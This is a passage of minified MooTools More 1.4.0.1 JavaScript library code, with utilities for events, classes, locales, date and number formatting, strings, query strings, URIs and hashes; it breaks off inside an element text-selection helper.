MooTools.More={version:"1.4.0.1",build:"a4244edf2aa97ac8a196fc96082dd35af1abab87"};(function(){Events.Pseudos=function(h,e,f){var d="_monitorEvents:";var c=function(i){return{store:i.store?function(j,k){i.store(d+j,k);
}:function(j,k){(i._monitorEvents||(i._monitorEvents={}))[j]=k;},retrieve:i.retrieve?function(j,k){return i.retrieve(d+j,k);}:function(j,k){if(!i._monitorEvents){return k;
}return i._monitorEvents[j]||k;}};};var g=function(k){if(k.indexOf(":")==-1||!h){return null;}var j=Slick.parse(k).expressions[0][0],p=j.pseudos,i=p.length,o=[];
while(i--){var n=p[i].key,m=h[n];if(m!=null){o.push({event:j.tag,value:p[i].value,pseudo:n,original:k,listener:m});}}return o.length?o:null;};return{addEvent:function(m,p,j){var n=g(m);
if(!n){return e.call(this,m,p,j);}var k=c(this),r=k.retrieve(m,[]),i=n[0].event,l=Array.slice(arguments,2),o=p,q=this;n.each(function(s){var t=s.listener,u=o;
if(t==false){i+=":"+s.pseudo+"("+s.value+")";}else{o=function(){t.call(q,s,u,arguments,o);};}});r.include({type:i,event:p,monitor:o});k.store(m,r);if(m!=i){e.apply(this,[m,p].concat(l));
}return e.apply(this,[i,o].concat(l));},removeEvent:function(m,l){var k=g(m);if(!k){return f.call(this,m,l);}var n=c(this),j=n.retrieve(m);if(!j){return this;
}var i=Array.slice(arguments,2);f.apply(this,[m,l].concat(i));j.each(function(o,p){if(!l||o.event==l){f.apply(this,[o.type,o.monitor].concat(i));}delete j[p];
},this);n.store(m,j);return this;}};};var b={once:function(e,f,d,c){f.apply(this,d);this.removeEvent(e.event,c).removeEvent(e.original,f);},throttle:function(d,e,c){if(!e._throttled){e.apply(this,c);
e._throttled=setTimeout(function(){e._throttled=false;},d.value||250);}},pause:function(d,e,c){clearTimeout(e._pause);e._pause=e.delay(d.value||250,this,c);
}};Events.definePseudo=function(c,d){b[c]=d;return this;};Events.lookupPseudo=function(c){return b[c];};var a=Events.prototype;Events.implement(Events.Pseudos(b,a.addEvent,a.removeEvent));
["Request","Fx"].each(function(c){if(this[c]){this[c].implement(Events.prototype);}});})();Class.refactor=function(b,a){Object.each(a,function(e,d){var c=b.prototype[d];
c=(c&&c.$origin)||c||function(){};b.implement(d,(typeof e=="function")?function(){var f=this.previous;this.previous=c;var g=e.apply(this,arguments);this.previous=f;
return g;}:e);});return b;};Class.Mutators.Binds=function(a){if(!this.prototype.initialize){this.implement("initialize",function(){});}return Array.from(a).concat(this.prototype.Binds||[]);
};Class.Mutators.initialize=function(a){return function(){Array.from(this.Binds).each(function(b){var c=this[b];if(c){this[b]=c.bind(this);}},this);return a.apply(this,arguments);
};};Class.Occlude=new Class({occlude:function(c,b){b=document.id(b||this.element);var a=b.retrieve(c||this.property);if(a&&!this.occluded){return(this.occluded=a);
}this.occluded=false;b.store(c||this.property,this);return this.occluded;}});(function(){var a={wait:function(b){return this.chain(function(){this.callChain.delay(b==null?500:b,this);
return this;}.bind(this));}};Chain.implement(a);if(this.Fx){Fx.implement(a);}if(this.Element&&Element.implement&&this.Fx){Element.implement({chains:function(b){Array.from(b||["tween","morph","reveal"]).each(function(c){c=this.get(c);
if(!c){return;}c.setOptions({link:"chain"});},this);return this;},pauseFx:function(c,b){this.chains(b).get(b||"tween").wait(c);return this;}});}})();(function(a){Array.implement({min:function(){return Math.min.apply(null,this);
},max:function(){return Math.max.apply(null,this);},average:function(){return this.length?this.sum()/this.length:0;},sum:function(){var b=0,c=this.length;
if(c){while(c--){b+=this[c];}}return b;},unique:function(){return[].combine(this);},shuffle:function(){for(var c=this.length;c&&--c;){var b=this[c],d=Math.floor(Math.random()*(c+1));
this[c]=this[d];this[d]=b;}return this;},reduce:function(d,e){for(var c=0,b=this.length;c<b;c++){if(c in this){e=e===a?this[c]:d.call(null,e,this[c],c,this);
}}return e;},reduceRight:function(c,d){var b=this.length;while(b--){if(b in this){d=d===a?this[b]:c.call(null,d,this[b],b,this);}}return d;}});})();(function(){var b=function(c){return c!=null;
};var a=Object.prototype.hasOwnProperty;Object.extend({getFromPath:function(e,f){if(typeof f=="string"){f=f.split(".");}for(var d=0,c=f.length;d<c;d++){if(a.call(e,f[d])){e=e[f[d]];
}else{return null;}}return e;},cleanValues:function(c,e){e=e||b;for(var d in c){if(!e(c[d])){delete c[d];}}return c;},erase:function(c,d){if(a.call(c,d)){delete c[d];
}return c;},run:function(d){var c=Array.slice(arguments,1);for(var e in d){if(d[e].apply){d[e].apply(d,c);}}return d;}});})();(function(){var b=null,a={},d={};
var c=function(f){if(instanceOf(f,e.Set)){return f;}else{return a[f];}};var e=this.Locale={define:function(f,j,h,i){var g;if(instanceOf(f,e.Set)){g=f.name;
if(g){a[g]=f;}}else{g=f;if(!a[g]){a[g]=new e.Set(g);}f=a[g];}if(j){f.define(j,h,i);}if(!b){b=f;}return f;},use:function(f){f=c(f);if(f){b=f;this.fireEvent("change",f);
}return this;},getCurrent:function(){return b;},get:function(g,f){return(b)?b.get(g,f):"";},inherit:function(f,g,h){f=c(f);if(f){f.inherit(g,h);}return this;
},list:function(){return Object.keys(a);}};Object.append(e,new Events);e.Set=new Class({sets:{},inherits:{locales:[],sets:{}},initialize:function(f){this.name=f||"";
},define:function(i,g,h){var f=this.sets[i];if(!f){f={};}if(g){if(typeOf(g)=="object"){f=Object.merge(f,g);}else{f[g]=h;}}this.sets[i]=f;return this;},get:function(r,j,q){var p=Object.getFromPath(this.sets,r);
if(p!=null){var m=typeOf(p);if(m=="function"){p=p.apply(null,Array.from(j));}else{if(m=="object"){p=Object.clone(p);}}return p;}var h=r.indexOf("."),o=h<0?r:r.substr(0,h),k=(this.inherits.sets[o]||[]).combine(this.inherits.locales).include("en-US");
if(!q){q=[];}for(var g=0,f=k.length;g<f;g++){if(q.contains(k[g])){continue;}q.include(k[g]);var n=a[k[g]];if(!n){continue;}p=n.get(r,j,q);if(p!=null){return p;
}}return"";},inherit:function(g,h){g=Array.from(g);if(h&&!this.inherits.sets[h]){this.inherits.sets[h]=[];}var f=g.length;while(f--){(h?this.inherits.sets[h]:this.inherits.locales).unshift(g[f]);
}return this;}});})();Locale.define("en-US","Date",{months:["January","February","March","April","May","June","July","August","September","October","November","December"],months_abbr:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],days:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],days_abbr:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],dateOrder:["month","date","year"],shortDate:"%m/%d/%Y",shortTime:"%I:%M%p",AM:"AM",PM:"PM",firstDayOfWeek:0,ordinal:function(a){return(a>3&&a<21)?"th":["th","st","nd","rd","th"][Math.min(a%10,4)];
},lessThanMinuteAgo:"less than a minute ago",minuteAgo:"about a minute ago",minutesAgo:"{delta} minutes ago",hourAgo:"about an hour ago",hoursAgo:"about {delta} hours ago",dayAgo:"1 day ago",daysAgo:"{delta} days ago",weekAgo:"1 week ago",weeksAgo:"{delta} weeks ago",monthAgo:"1 month ago",monthsAgo:"{delta} months ago",yearAgo:"1 year ago",yearsAgo:"{delta} years ago",lessThanMinuteUntil:"less than a minute from now",minuteUntil:"about a minute from now",minutesUntil:"{delta} minutes from now",hourUntil:"about an hour from now",hoursUntil:"about {delta} hours from now",dayUntil:"1 day from now",daysUntil:"{delta} days from now",weekUntil:"1 week from now",weeksUntil:"{delta} weeks from now",monthUntil:"1 month from now",monthsUntil:"{delta} months from now",yearUntil:"1 year from now",yearsUntil:"{delta} years from now"});
(function(){var a=this.Date;var f=a.Methods={ms:"Milliseconds",year:"FullYear",min:"Minutes",mo:"Month",sec:"Seconds",hr:"Hours"};["Date","Day","FullYear","Hours","Milliseconds","Minutes","Month","Seconds","Time","TimezoneOffset","Week","Timezone","GMTOffset","DayOfYear","LastMonth","LastDayOfMonth","UTCDate","UTCDay","UTCFullYear","AMPM","Ordinal","UTCHours","UTCMilliseconds","UTCMinutes","UTCMonth","UTCSeconds","UTCMilliseconds"].each(function(s){a.Methods[s.toLowerCase()]=s;
});var p=function(u,t,s){if(t==1){return u;}return u<Math.pow(10,t-1)?(s||"0")+p(u,t-1,s):u;};a.implement({set:function(u,s){u=u.toLowerCase();var t=f[u]&&"set"+f[u];
if(t&&this[t]){this[t](s);}return this;}.overloadSetter(),get:function(t){t=t.toLowerCase();var s=f[t]&&"get"+f[t];if(s&&this[s]){return this[s]();}return null;
}.overloadGetter(),clone:function(){return new a(this.get("time"));},increment:function(s,u){s=s||"day";u=u!=null?u:1;switch(s){case"year":return this.increment("month",u*12);
case"month":var t=this.get("date");this.set("date",1).set("mo",this.get("mo")+u);return this.set("date",t.min(this.get("lastdayofmonth")));case"week":return this.increment("day",u*7);
case"day":return this.set("date",this.get("date")+u);}if(!a.units[s]){throw new Error(s+" is not a supported interval");}return this.set("time",this.get("time")+u*a.units[s]());
},decrement:function(s,t){return this.increment(s,-1*(t!=null?t:1));},isLeapYear:function(){return a.isLeapYear(this.get("year"));},clearTime:function(){return this.set({hr:0,min:0,sec:0,ms:0});
},diff:function(t,s){if(typeOf(t)=="string"){t=a.parse(t);}return((t-this)/a.units[s||"day"](3,3)).round();},getLastDayOfMonth:function(){return a.daysInMonth(this.get("mo"),this.get("year"));
},getDayOfYear:function(){return(a.UTC(this.get("year"),this.get("mo"),this.get("date")+1)-a.UTC(this.get("year"),0,1))/a.units.day();},setDay:function(t,s){if(s==null){s=a.getMsg("firstDayOfWeek");
if(s===""){s=1;}}t=(7+a.parseDay(t,true)-s)%7;var u=(7+this.get("day")-s)%7;return this.increment("day",t-u);},getWeek:function(v){if(v==null){v=a.getMsg("firstDayOfWeek");
if(v===""){v=1;}}var x=this,u=(7+x.get("day")-v)%7,t=0,w;if(v==1){var y=x.get("month"),s=x.get("date")-u;if(y==11&&s>28){return 1;}if(y==0&&s<-2){x=new a(x).decrement("day",u);
u=0;}w=new a(x.get("year"),0,1).get("day")||7;if(w>4){t=-7;}}else{w=new a(x.get("year"),0,1).get("day");}t+=x.get("dayofyear");t+=6-u;t+=(7+w-v)%7;return(t/7);
},getOrdinal:function(s){return a.getMsg("ordinal",s||this.get("date"));},getTimezone:function(){return this.toString().replace(/^.*? ([A-Z]{3}).[0-9]{4}.*$/,"$1").replace(/^.*?\(([A-Z])[a-z]+ ([A-Z])[a-z]+ ([A-Z])[a-z]+\)$/,"$1$2$3");
},getGMTOffset:function(){var s=this.get("timezoneOffset");return((s>0)?"-":"+")+p((s.abs()/60).floor(),2)+p(s%60,2);},setAMPM:function(s){s=s.toUpperCase();
var t=this.get("hr");if(t>11&&s=="AM"){return this.decrement("hour",12);}else{if(t<12&&s=="PM"){return this.increment("hour",12);}}return this;},getAMPM:function(){return(this.get("hr")<12)?"AM":"PM";
},parse:function(s){this.set("time",a.parse(s));return this;},isValid:function(s){if(!s){s=this;}return typeOf(s)=="date"&&!isNaN(s.valueOf());},format:function(s){if(!this.isValid()){return"invalid date";
}if(!s){s="%x %X";}if(typeof s=="string"){s=g[s.toLowerCase()]||s;}if(typeof s=="function"){return s(this);}var t=this;return s.replace(/%([a-z%])/gi,function(v,u){switch(u){case"a":return a.getMsg("days_abbr")[t.get("day")];
case"A":return a.getMsg("days")[t.get("day")];case"b":return a.getMsg("months_abbr")[t.get("month")];case"B":return a.getMsg("months")[t.get("month")];
case"c":return t.format("%a %b %d %H:%M:%S %Y");case"d":return p(t.get("date"),2);case"e":return p(t.get("date"),2," ");case"H":return p(t.get("hr"),2);
case"I":return p((t.get("hr")%12)||12,2);case"j":return p(t.get("dayofyear"),3);case"k":return p(t.get("hr"),2," ");case"l":return p((t.get("hr")%12)||12,2," ");
case"L":return p(t.get("ms"),3);case"m":return p((t.get("mo")+1),2);case"M":return p(t.get("min"),2);case"o":return t.get("ordinal");case"p":return a.getMsg(t.get("ampm"));
case"s":return Math.round(t/1000);case"S":return p(t.get("seconds"),2);case"T":return t.format("%H:%M:%S");case"U":return p(t.get("week"),2);case"w":return t.get("day");
case"x":return t.format(a.getMsg("shortDate"));case"X":return t.format(a.getMsg("shortTime"));case"y":return t.get("year").toString().substr(2);case"Y":return t.get("year");
case"z":return t.get("GMTOffset");case"Z":return t.get("Timezone");}return u;});},toISOString:function(){return this.format("iso8601");}}).alias({toJSON:"toISOString",compare:"diff",strftime:"format"});
var k=["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],h=["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"];var g={db:"%Y-%m-%d %H:%M:%S",compact:"%Y%m%dT%H%M%S","short":"%d %b %H:%M","long":"%B %d, %Y %H:%M",rfc822:function(s){return k[s.get("day")]+s.format(", %d ")+h[s.get("month")]+s.format(" %Y %H:%M:%S %Z");
},rfc2822:function(s){return k[s.get("day")]+s.format(", %d ")+h[s.get("month")]+s.format(" %Y %H:%M:%S %z");},iso8601:function(s){return(s.getUTCFullYear()+"-"+p(s.getUTCMonth()+1,2)+"-"+p(s.getUTCDate(),2)+"T"+p(s.getUTCHours(),2)+":"+p(s.getUTCMinutes(),2)+":"+p(s.getUTCSeconds(),2)+"."+p(s.getUTCMilliseconds(),3)+"Z");
}};var c=[],n=a.parse;var r=function(v,x,u){var t=-1,w=a.getMsg(v+"s");switch(typeOf(x)){case"object":t=w[x.get(v)];break;case"number":t=w[x];if(!t){throw new Error("Invalid "+v+" index: "+x);
}break;case"string":var s=w.filter(function(y){return this.test(y);},new RegExp("^"+x,"i"));if(!s.length){throw new Error("Invalid "+v+" string");}if(s.length>1){throw new Error("Ambiguous "+v);
}t=s[0];}return(u)?w.indexOf(t):t;};var i=1900,o=70;a.extend({getMsg:function(t,s){return Locale.get("Date."+t,s);},units:{ms:Function.from(1),second:Function.from(1000),minute:Function.from(60000),hour:Function.from(3600000),day:Function.from(86400000),week:Function.from(608400000),month:function(t,s){var u=new a;
return a.daysInMonth(t!=null?t:u.get("mo"),s!=null?s:u.get("year"))*86400000;},year:function(s){s=s||new a().get("year");return a.isLeapYear(s)?31622400000:31536000000;
}},daysInMonth:function(t,s){return[31,a.isLeapYear(s)?29:28,31,30,31,30,31,31,30,31,30,31][t];},isLeapYear:function(s){return((s%4===0)&&(s%100!==0))||(s%400===0);
},parse:function(v){var u=typeOf(v);if(u=="number"){return new a(v);}if(u!="string"){return v;}v=v.clean();if(!v.length){return null;}var s;c.some(function(w){var t=w.re.exec(v);
return(t)?(s=w.handler(t)):false;});if(!(s&&s.isValid())){s=new a(n(v));if(!(s&&s.isValid())){s=new a(v.toInt());}}return s;},parseDay:function(s,t){return r("day",s,t);
},parseMonth:function(t,s){return r("month",t,s);},parseUTC:function(t){var s=new a(t);var u=a.UTC(s.get("year"),s.get("mo"),s.get("date"),s.get("hr"),s.get("min"),s.get("sec"),s.get("ms"));
return new a(u);},orderIndex:function(s){return a.getMsg("dateOrder").indexOf(s)+1;},defineFormat:function(s,t){g[s]=t;return this;},defineParser:function(s){c.push((s.re&&s.handler)?s:l(s));
return this;},defineParsers:function(){Array.flatten(arguments).each(a.defineParser);return this;},define2DigitYearStart:function(s){o=s%100;i=s-o;return this;
}}).extend({defineFormats:a.defineFormat.overloadSetter()});var d=function(s){return new RegExp("(?:"+a.getMsg(s).map(function(t){return t.substr(0,3);
}).join("|")+")[a-z]*");};var m=function(s){switch(s){case"T":return"%H:%M:%S";case"x":return((a.orderIndex("month")==1)?"%m[-./]%d":"%d[-./]%m")+"([-./]%y)?";
case"X":return"%H([.:]%M)?([.:]%S([.:]%s)?)? ?%p? ?%z?";}return null;};var j={d:/[0-2]?[0-9]|3[01]/,H:/[01]?[0-9]|2[0-3]/,I:/0?[1-9]|1[0-2]/,M:/[0-5]?\d/,s:/\d+/,o:/[a-z]*/,p:/[ap]\.?m\.?/,y:/\d{2}|\d{4}/,Y:/\d{4}/,z:/Z|[+-]\d{2}(?::?\d{2})?/};
j.m=j.I;j.S=j.M;var e;var b=function(s){e=s;j.a=j.A=d("days");j.b=j.B=d("months");c.each(function(u,t){if(u.format){c[t]=l(u.format);}});};var l=function(u){if(!e){return{format:u};
}var s=[];var t=(u.source||u).replace(/%([a-z])/gi,function(w,v){return m(v)||w;}).replace(/\((?!\?)/g,"(?:").replace(/ (?!\?|\*)/g,",? ").replace(/%([a-z%])/gi,function(w,v){var x=j[v];
if(!x){return v;}s.push(v);return"("+x.source+")";}).replace(/\[a-z\]/gi,"[a-z\\u00c0-\\uffff;&]");return{format:u,re:new RegExp("^"+t+"$","i"),handler:function(y){y=y.slice(1).associate(s);
var v=new a().clearTime(),x=y.y||y.Y;if(x!=null){q.call(v,"y",x);}if("d" in y){q.call(v,"d",1);}if("m" in y||y.b||y.B){q.call(v,"m",1);}for(var w in y){q.call(v,w,y[w]);
}return v;}};};var q=function(s,t){if(!t){return this;}switch(s){case"a":case"A":return this.set("day",a.parseDay(t,true));case"b":case"B":return this.set("mo",a.parseMonth(t,true));
case"d":return this.set("date",t);case"H":case"I":return this.set("hr",t);case"m":return this.set("mo",t-1);case"M":return this.set("min",t);case"p":return this.set("ampm",t.replace(/\./g,""));
case"S":return this.set("sec",t);case"s":return this.set("ms",("0."+t)*1000);case"w":return this.set("day",t);case"Y":return this.set("year",t);case"y":t=+t;
if(t<100){t+=i+(t<o?100:0);}return this.set("year",t);case"z":if(t=="Z"){t="+00";}var u=t.match(/([+-])(\d{2}):?(\d{2})?/);u=(u[1]+"1")*(u[2]*60+(+u[3]||0))+this.getTimezoneOffset();
return this.set("time",this-u*60000);}return this;};a.defineParsers("%Y([-./]%m([-./]%d((T| )%X)?)?)?","%Y%m%d(T%H(%M%S?)?)?","%x( %X)?","%d%o( %b( %Y)?)?( %X)?","%b( %d%o)?( %Y)?( %X)?","%Y %b( %d%o( %X)?)?","%o %b %d %X %z %Y","%T","%H:%M( ?%p)?");
Locale.addEvent("change",function(s){if(Locale.get("Date")){b(s);}}).fireEvent("change",Locale.getCurrent());})();Date.implement({timeDiffInWords:function(a){return Date.distanceOfTimeInWords(this,a||new Date);
},timeDiff:function(f,c){if(f==null){f=new Date;}var h=((f-this)/1000).floor().abs();var e=[],a=[60,60,24,365,0],d=["s","m","h","d","y"],g,b;for(var i=0;
i<a.length;i++){if(i&&!h){break;}g=h;if((b=a[i])){g=(h%b);h=(h/b).floor();}e.unshift(g+(d[i]||""));}return e.join(c||":");}}).extend({distanceOfTimeInWords:function(b,a){return Date.getTimePhrase(((a-b)/1000).toInt());
},getTimePhrase:function(f){var d=(f<0)?"Until":"Ago";if(f<0){f*=-1;}var b={minute:60,hour:60,day:24,week:7,month:52/12,year:12,eon:Infinity};var e="lessThanMinute";
for(var c in b){var a=b[c];if(f<1.5*a){if(f>0.75*a){e=c;}break;}f/=a;e=c+"s";}f=f.round();return Date.getMsg(e+d,f).substitute({delta:f});}}).defineParsers({re:/^(?:tod|tom|yes)/i,handler:function(a){var b=new Date().clearTime();
switch(a[0]){case"tom":return b.increment();case"yes":return b.decrement();default:return b;}}},{re:/^(next|last) ([a-z]+)$/i,handler:function(e){var f=new Date().clearTime();
var b=f.getDay();var c=Date.parseDay(e[2],true);var a=c-b;if(c<=b){a+=7;}if(e[1]=="last"){a-=7;}return f.set("date",f.getDate()+a);}}).alias("timeAgoInWords","timeDiffInWords");
Locale.define("en-US","Number",{decimal:".",group:",",currency:{prefix:"$ "}});Number.implement({format:function(q){var n=this;q=q?Object.clone(q):{};var a=function(i){if(q[i]!=null){return q[i];
}return Locale.get("Number."+i);};var f=n<0,h=a("decimal"),k=a("precision"),o=a("group"),c=a("decimals");if(f){var e=a("negative")||{};if(e.prefix==null&&e.suffix==null){e.prefix="-";
}["prefix","suffix"].each(function(i){if(e[i]){q[i]=a(i)+e[i];}});n=-n;}var l=a("prefix"),p=a("suffix");if(c!==""&&c>=0&&c<=20){n=n.toFixed(c);}if(k>=1&&k<=21){n=(+n).toPrecision(k);
}n+="";var m;if(a("scientific")===false&&n.indexOf("e")>-1){var j=n.split("e"),b=+j[1];n=j[0].replace(".","");if(b<0){b=-b-1;m=j[0].indexOf(".");if(m>-1){b-=m-1;
}while(b--){n="0"+n;}n="0."+n;}else{m=j[0].lastIndexOf(".");if(m>-1){b-=j[0].length-m-1;}while(b--){n+="0";}}}if(h!="."){n=n.replace(".",h);}if(o){m=n.lastIndexOf(h);
m=(m>-1)?m:n.length;var d=n.substring(m),g=m;while(g--){if((m-g-1)%3==0&&g!=(m-1)){d=o+d;}d=n.charAt(g)+d;}n=d;}if(l){n=l+n;}if(p){n+=p;}return n;},formatCurrency:function(b){var a=Locale.get("Number.currency")||{};
if(a.scientific==null){a.scientific=false;}a.decimals=b!=null?b:(a.decimals==null?2:a.decimals);return this.format(a);},formatPercentage:function(b){var a=Locale.get("Number.percentage")||{};
if(a.suffix==null){a.suffix="%";}a.decimals=b!=null?b:(a.decimals==null?2:a.decimals);return this.format(a);}});(function(){var c={a:/[àáâãäåăą]/g,A:/[ÀÁÂÃÄÅĂĄ]/g,c:/[ćčç]/g,C:/[ĆČÇ]/g,d:/[ďđ]/g,D:/[ĎÐ]/g,e:/[èéêëěę]/g,E:/[ÈÉÊËĚĘ]/g,g:/[ğ]/g,G:/[Ğ]/g,i:/[ìíîï]/g,I:/[ÌÍÎÏ]/g,l:/[ĺľł]/g,L:/[ĹĽŁ]/g,n:/[ñňń]/g,N:/[ÑŇŃ]/g,o:/[òóôõöøő]/g,O:/[ÒÓÔÕÖØ]/g,r:/[řŕ]/g,R:/[ŘŔ]/g,s:/[ššş]/g,S:/[ŠŞŚ]/g,t:/[ťţ]/g,T:/[ŤŢ]/g,ue:/[ü]/g,UE:/[Ü]/g,u:/[ùúûůµ]/g,U:/[ÙÚÛŮ]/g,y:/[ÿý]/g,Y:/[ŸÝ]/g,z:/[žźż]/g,Z:/[ŽŹŻ]/g,th:/[þ]/g,TH:/[Þ]/g,dh:/[ð]/g,DH:/[Ð]/g,ss:/[ß]/g,oe:/[œ]/g,OE:/[Œ]/g,ae:/[æ]/g,AE:/[Æ]/g},b={" ":/[\xa0\u2002\u2003\u2009]/g,"*":/[\xb7]/g,"'":/[\u2018\u2019]/g,'"':/[\u201c\u201d]/g,"...":/[\u2026]/g,"-":/[\u2013]/g,"&raquo;":/[\uFFFD]/g};
var a=function(f,h){var e=f,g;for(g in h){e=e.replace(h[g],g);}return e;};var d=function(e,g){e=e||"";var h=g?"<"+e+"(?!\\w)[^>]*>([\\s\\S]*?)</"+e+"(?!\\w)>":"</?"+e+"([^>]+)?>",f=new RegExp(h,"gi");
return f;};String.implement({standardize:function(){return a(this,c);},repeat:function(e){return new Array(e+1).join(this);},pad:function(e,h,g){if(this.length>=e){return this;
}var f=(h==null?" ":""+h).repeat(e-this.length).substr(0,e-this.length);if(!g||g=="right"){return this+f;}if(g=="left"){return f+this;}return f.substr(0,(f.length/2).floor())+this+f.substr(0,(f.length/2).ceil());
},getTags:function(e,f){return this.match(d(e,f))||[];},stripTags:function(e,f){return this.replace(d(e,f),"");},tidy:function(){return a(this,b);},truncate:function(e,f,i){var h=this;
if(f==null&&arguments.length==1){f="…";}if(h.length>e){h=h.substring(0,e);if(i){var g=h.lastIndexOf(i);if(g!=-1){h=h.substr(0,g);}}if(f){h+=f;}}return h;
}});})();String.implement({parseQueryString:function(d,a){if(d==null){d=true;}if(a==null){a=true;}var c=this.split(/[&;]/),b={};if(!c.length){return b;
}c.each(function(i){var e=i.indexOf("=")+1,g=e?i.substr(e):"",f=e?i.substr(0,e-1).match(/([^\]\[]+|(\B)(?=\]))/g):[i],h=b;if(!f){return;}if(a){g=decodeURIComponent(g);
}f.each(function(k,j){if(d){k=decodeURIComponent(k);}var l=h[k];if(j<f.length-1){h=h[k]=l||{};}else{if(typeOf(l)=="array"){l.push(g);}else{h[k]=l!=null?[l,g]:g;
}}});});return b;},cleanQueryString:function(a){return this.split("&").filter(function(e){var b=e.indexOf("="),c=b<0?"":e.substr(0,b),d=e.substr(b+1);return a?a.call(null,c,d):(d||d===0);
}).join("&");}});(function(){var b=function(){return this.get("value");};var a=this.URI=new Class({Implements:Options,options:{},regex:/^(?:(\w+):)?(?:\/\/(?:(?:([^:@\/]*):?([^:@\/]*))?@)?([^:\/?#]*)(?::(\d*))?)?(\.\.?$|(?:[^?#\/]*\/)*)([^?#]*)(?:\?([^#]*))?(?:#(.*))?/,parts:["scheme","user","password","host","port","directory","file","query","fragment"],schemes:{http:80,https:443,ftp:21,rtsp:554,mms:1755,file:0},initialize:function(d,c){this.setOptions(c);
var e=this.options.base||a.base;if(!d){d=e;}if(d&&d.parsed){this.parsed=Object.clone(d.parsed);}else{this.set("value",d.href||d.toString(),e?new a(e):false);
}},parse:function(e,d){var c=e.match(this.regex);if(!c){return false;}c.shift();return this.merge(c.associate(this.parts),d);},merge:function(d,c){if((!d||!d.scheme)&&(!c||!c.scheme)){return false;
}if(c){this.parts.every(function(e){if(d[e]){return false;}d[e]=c[e]||"";return true;});}d.port=d.port||this.schemes[d.scheme.toLowerCase()];d.directory=d.directory?this.parseDirectory(d.directory,c?c.directory:""):"/";
return d;},parseDirectory:function(d,e){d=(d.substr(0,1)=="/"?"":(e||"/"))+d;if(!d.test(a.regs.directoryDot)){return d;}var c=[];d.replace(a.regs.endSlash,"").split("/").each(function(f){if(f==".."&&c.length>0){c.pop();
}else{if(f!="."){c.push(f);}}});return c.join("/")+"/";},combine:function(c){return c.value||c.scheme+"://"+(c.user?c.user+(c.password?":"+c.password:"")+"@":"")+(c.host||"")+(c.port&&c.port!=this.schemes[c.scheme]?":"+c.port:"")+(c.directory||"/")+(c.file||"")+(c.query?"?"+c.query:"")+(c.fragment?"#"+c.fragment:"");
},set:function(d,f,e){if(d=="value"){var c=f.match(a.regs.scheme);if(c){c=c[1];}if(c&&this.schemes[c.toLowerCase()]==null){this.parsed={scheme:c,value:f};
}else{this.parsed=this.parse(f,(e||this).parsed)||(c?{scheme:c,value:f}:{value:f});}}else{if(d=="data"){this.setData(f);}else{this.parsed[d]=f;}}return this;
},get:function(c,d){switch(c){case"value":return this.combine(this.parsed,d?d.parsed:false);case"data":return this.getData();}return this.parsed[c]||"";
},go:function(){document.location.href=this.toString();},toURI:function(){return this;},getData:function(e,d){var c=this.get(d||"query");if(!(c||c===0)){return e?null:{};
}var f=c.parseQueryString();return e?f[e]:f;},setData:function(c,f,d){if(typeof c=="string"){var e=this.getData();e[arguments[0]]=arguments[1];c=e;}else{if(f){c=Object.merge(this.getData(),c);
}}return this.set(d||"query",Object.toQueryString(c));},clearData:function(c){return this.set(c||"query","");},toString:b,valueOf:b});a.regs={endSlash:/\/$/,scheme:/^(\w+):/,directoryDot:/\.\/|\.$/};
a.base=new a(Array.from(document.getElements("base[href]",true)).getLast(),{base:document.location});String.implement({toURI:function(c){return new a(this,c);
}});})();URI=Class.refactor(URI,{combine:function(f,e){if(!e||f.scheme!=e.scheme||f.host!=e.host||f.port!=e.port){return this.previous.apply(this,arguments);
}var a=f.file+(f.query?"?"+f.query:"")+(f.fragment?"#"+f.fragment:"");if(!e.directory){return(f.directory||(f.file?"":"./"))+a;}var d=e.directory.split("/"),c=f.directory.split("/"),g="",h;
var b=0;for(h=0;h<d.length&&h<c.length&&d[h]==c[h];h++){}for(b=0;b<d.length-h-1;b++){g+="../";}for(b=h;b<c.length-1;b++){g+=c[b]+"/";}return(g||(f.file?"":"./"))+a;
},toAbsolute:function(a){a=new URI(a);if(a){a.set("directory","").set("file","");}return this.toRelative(a);},toRelative:function(a){return this.get("value",new URI(a));
}});(function(){if(this.Hash){return;}var a=this.Hash=new Type("Hash",function(b){if(typeOf(b)=="hash"){b=Object.clone(b.getClean());}for(var c in b){this[c]=b[c];
}return this;});this.$H=function(b){return new a(b);};a.implement({forEach:function(b,c){Object.forEach(this,b,c);},getClean:function(){var c={};for(var b in this){if(this.hasOwnProperty(b)){c[b]=this[b];
}}return c;},getLength:function(){var c=0;for(var b in this){if(this.hasOwnProperty(b)){c++;}}return c;}});a.alias("each","forEach");a.implement({has:Object.prototype.hasOwnProperty,keyOf:function(b){return Object.keyOf(this,b);
},hasValue:function(b){return Object.contains(this,b);},extend:function(b){a.each(b||{},function(d,c){a.set(this,c,d);},this);return this;},combine:function(b){a.each(b||{},function(d,c){a.include(this,c,d);
},this);return this;},erase:function(b){if(this.hasOwnProperty(b)){delete this[b];}return this;},get:function(b){return(this.hasOwnProperty(b))?this[b]:null;
},set:function(b,c){if(!this[b]||this.hasOwnProperty(b)){this[b]=c;}return this;},empty:function(){a.each(this,function(c,b){delete this[b];},this);return this;
},include:function(b,c){if(this[b]==undefined){this[b]=c;}return this;},map:function(b,c){return new a(Object.map(this,b,c));},filter:function(b,c){return new a(Object.filter(this,b,c));
},every:function(b,c){return Object.every(this,b,c);},some:function(b,c){return Object.some(this,b,c);},getKeys:function(){return Object.keys(this);},getValues:function(){return Object.values(this);
},toQueryString:function(b){return Object.toQueryString(this,b);}});a.alias({indexOf:"keyOf",contains:"hasValue"});})();Hash.implement({getFromPath:function(a){return Object.getFromPath(this,a);
},cleanValues:function(a){return new Hash(Object.cleanValues(this,a));},run:function(){Object.run(arguments);}});Element.implement({tidy:function(){this.set("value",this.get("value").tidy());
},getTextInRange:function(b,a){return this.get("value").substring(b,a);},getSelectedText:function(){if(this.setSelectionRange){return this.getTextInRange(this.getSelectionStart(),this.getSelectionEnd());
}return document.selection.createRange().text;},getSelectedRange:function(){if(this.selectionStart!=null){return{start:this.selectionStart,end:this.selectionEnd};
}var e={start:0,end:0};var a=this.getDocument().selection.createRange();if(!a||a.parentElement()!=this){return e;}var c=a.duplicate();if(this.type=="text"){e.start=0-c.moveStart("character",-100000);
